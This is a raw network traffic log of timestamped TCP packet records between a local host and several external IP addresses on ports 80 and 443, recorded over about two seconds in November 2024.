Nov 20, 2024 00:19:31.974553108 CET	443	62138	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.975130081 CET	62138	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.975138903 CET	443	62138	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.975733995 CET	62138	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:31.975739002 CET	443	62138	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:31.979326963 CET	443	62140	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.018537998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:32.018616915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:32.023128986 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.029978037 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.030227900 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.030227900 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.037285089 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.037611008 CET	443	62137	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.037673950 CET	443	62137	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.037844896 CET	62137	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.037987947 CET	62137	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.038000107 CET	443	62137	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.038008928 CET	62137	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.038016081 CET	443	62137	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.041546106 CET	62144	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.041570902 CET	443	62144	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.041770935 CET	62144	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.041925907 CET	62144	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.041937113 CET	443	62144	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.044918060 CET	443	62136	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.045063019 CET	443	62136	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.045129061 CET	62136	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.045264006 CET	62136	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.045274019 CET	443	62136	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.045284033 CET	62136	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.045288086 CET	443	62136	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.047373056 CET	62145	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.047431946 CET	443	62145	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.047624111 CET	62145	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.047740936 CET	62145	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.047791004 CET	443	62145	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.057971954 CET	443	62140	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.057997942 CET	443	62140	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.058062077 CET	443	62140	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.058067083 CET	62140	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:32.058115959 CET	62140	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:32.059379101 CET	62140	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:32.059395075 CET	443	62140	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.065721035 CET	62146	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:32.065747023 CET	443	62146	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.068164110 CET	62146	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:32.068372011 CET	62146	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:32.068398952 CET	443	62146	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.083884001 CET	443	62138	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.083959103 CET	443	62138	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.084017992 CET	62138	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.084558964 CET	62138	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.084558964 CET	62138	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.084575891 CET	443	62138	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.084584951 CET	443	62138	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.088031054 CET	62147	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.088056087 CET	443	62147	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.088154078 CET	62147	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.088422060 CET	62147	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.088447094 CET	443	62147	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.113626003 CET	443	62139	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.114232063 CET	62139	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.114244938 CET	443	62139	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.114751101 CET	62139	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.114756107 CET	443	62139	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.161668062 CET	443	62141	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.165128946 CET	62141	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.165152073 CET	443	62141	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.165697098 CET	62141	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.165702105 CET	443	62141	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.222249985 CET	443	62139	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.222306967 CET	443	62139	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.222377062 CET	62139	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.222850084 CET	62139	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.222856998 CET	443	62139	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.222944975 CET	62139	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.222948074 CET	443	62139	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.226893902 CET	62148	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.226910114 CET	443	62148	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.227175951 CET	62148	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.227806091 CET	62148	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.227817059 CET	443	62148	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.264765024 CET	443	62141	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.264877081 CET	443	62141	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.264955044 CET	62141	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.265408039 CET	62141	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.265414000 CET	443	62141	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.265424967 CET	62141	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.265429020 CET	443	62141	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.269922018 CET	62149	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.269954920 CET	443	62149	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.270024061 CET	62149	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.270318031 CET	62149	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.270332098 CET	443	62149	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.457495928 CET	443	62142	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:32.458188057 CET	62142	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:32.458211899 CET	443	62142	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:32.459083080 CET	62142	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:32.459089994 CET	443	62142	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:32.459144115 CET	62142	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:32.459151983 CET	443	62142	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:32.560426950 CET	443	62146	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.560928106 CET	62146	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:32.560941935 CET	443	62146	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.561306000 CET	443	62146	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.561680079 CET	62146	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:32.561772108 CET	443	62146	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.561851025 CET	62146	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:32.603336096 CET	443	62146	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.685061932 CET	443	62146	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.685082912 CET	443	62146	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.685147047 CET	443	62146	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.685161114 CET	62146	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:32.685266972 CET	62146	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:32.686480999 CET	62146	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:32.686497927 CET	443	62146	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.693900108 CET	62150	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:32.693931103 CET	443	62150	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.694025040 CET	62150	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:32.694273949 CET	62150	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:32.694288015 CET	443	62150	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:32.704049110 CET	443	62144	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.704607964 CET	62144	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.704627991 CET	443	62144	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.705126047 CET	62144	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.705131054 CET	443	62144	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.730778933 CET	443	62145	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.731877089 CET	62145	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.731878042 CET	62145	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.731925011 CET	443	62145	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.731960058 CET	443	62145	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.774666071 CET	443	62147	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.775377989 CET	62147	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.775418043 CET	443	62147	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.775885105 CET	62147	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.775897980 CET	443	62147	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.781922102 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.781953096 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.781965971 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.781991005 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.782006025 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.782020092 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.782036066 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.782046080 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.782068014 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.782095909 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.782193899 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.782208920 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.782224894 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.782241106 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.782262087 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.782294035 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.787349939 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.787364960 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.787441015 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.787441015 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.787900925 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.788099051 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.806797981 CET	443	62144	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.806847095 CET	443	62144	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.806956053 CET	62144	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.807256937 CET	62144	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.807271004 CET	443	62144	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.807281971 CET	62144	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.807286024 CET	443	62144	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.815989017 CET	62151	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.816087008 CET	443	62151	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.816186905 CET	62151	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.816435099 CET	62151	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.816474915 CET	443	62151	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.835758924 CET	443	62145	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.835851908 CET	443	62145	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.835927963 CET	62145	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.836261034 CET	62145	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.836261034 CET	62145	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.836297035 CET	443	62145	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.836319923 CET	443	62145	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.839440107 CET	62152	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.839459896 CET	443	62152	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.839596033 CET	62152	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.839781046 CET	62152	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.839792967 CET	443	62152	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.843521118 CET	443	62142	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:32.843581915 CET	443	62142	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:32.843656063 CET	62142	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:32.843668938 CET	443	62142	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:32.843745947 CET	443	62142	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:32.843907118 CET	62142	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:32.844115973 CET	62142	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:32.844129086 CET	443	62142	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:32.873147964 CET	62153	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:32.873200893 CET	443	62153	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:32.873296976 CET	62153	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:32.873490095 CET	62153	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:32.873518944 CET	443	62153	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:32.887079000 CET	443	62147	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.887154102 CET	443	62147	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.887226105 CET	62147	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.887681007 CET	62147	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.887702942 CET	443	62147	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.887727976 CET	62147	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.887742043 CET	443	62147	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.891093016 CET	62154	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:32.891112089 CET	443	62154	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:32.891168118 CET	62154	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:32.891422033 CET	62154	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:32.891433001 CET	443	62154	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:32.892684937 CET	62155	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.892713070 CET	443	62155	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.892785072 CET	62155	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.892951965 CET	62155	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.892965078 CET	443	62155	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.896037102 CET	443	62148	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.896486998 CET	62148	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.896495104 CET	443	62148	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.897042990 CET	62148	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.897047997 CET	443	62148	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.915288925 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.915306091 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.915342093 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.915353060 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.915368080 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.915380955 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.915395021 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.915407896 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.915437937 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.915446997 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.915633917 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.915648937 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.915657997 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.915823936 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.916219950 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.916234970 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.916251898 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.916270018 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.916282892 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.916323900 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.917186022 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.917201042 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.917216063 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.917232037 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.917248011 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.917289972 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.917289972 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.917289972 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.917793989 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.917875051 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.917891979 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.917912006 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.917928934 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.917938948 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.917938948 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.917977095 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.918802023 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.918917894 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.920219898 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:32.920413971 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:32.950850010 CET	443	62149	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.951359034 CET	62149	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.951435089 CET	443	62149	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.951903105 CET	62149	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.951917887 CET	443	62149	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.998984098 CET	443	62148	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.999042034 CET	443	62148	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.999099016 CET	62148	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.999344110 CET	62148	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.999351025 CET	443	62148	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:32.999360085 CET	62148	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:32.999365091 CET	443	62148	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:33.002443075 CET	62156	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:33.002522945 CET	443	62156	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:33.002672911 CET	62156	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:33.002856016 CET	62156	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:33.002891064 CET	443	62156	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:33.048372984 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.048391104 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.048405886 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.048472881 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.048522949 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.048736095 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.048751116 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.048765898 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.048800945 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.048811913 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.048825979 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.048844099 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.048866034 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.048866034 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.048866034 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.048891068 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.048917055 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.048930883 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.048958063 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.048971891 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.048990965 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.049000978 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.049000978 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.049019098 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.049030066 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.049043894 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.049052000 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.049063921 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.049083948 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.049093962 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.049144030 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.049501896 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.049539089 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.049581051 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.049581051 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.049669027 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.049685955 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.049698114 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.049715042 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.049726963 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.049854994 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.049890041 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.049905062 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.049932003 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.049957037 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.049957037 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.049968958 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.049999952 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.050015926 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050030947 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050045967 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050065994 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050074100 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.050074100 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.050091028 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050103903 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.050117970 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050128937 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.050128937 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.050338030 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.050621986 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050652981 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050678015 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050707102 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050715923 CET	62143	80	192.168.2.5	185.215.113.16
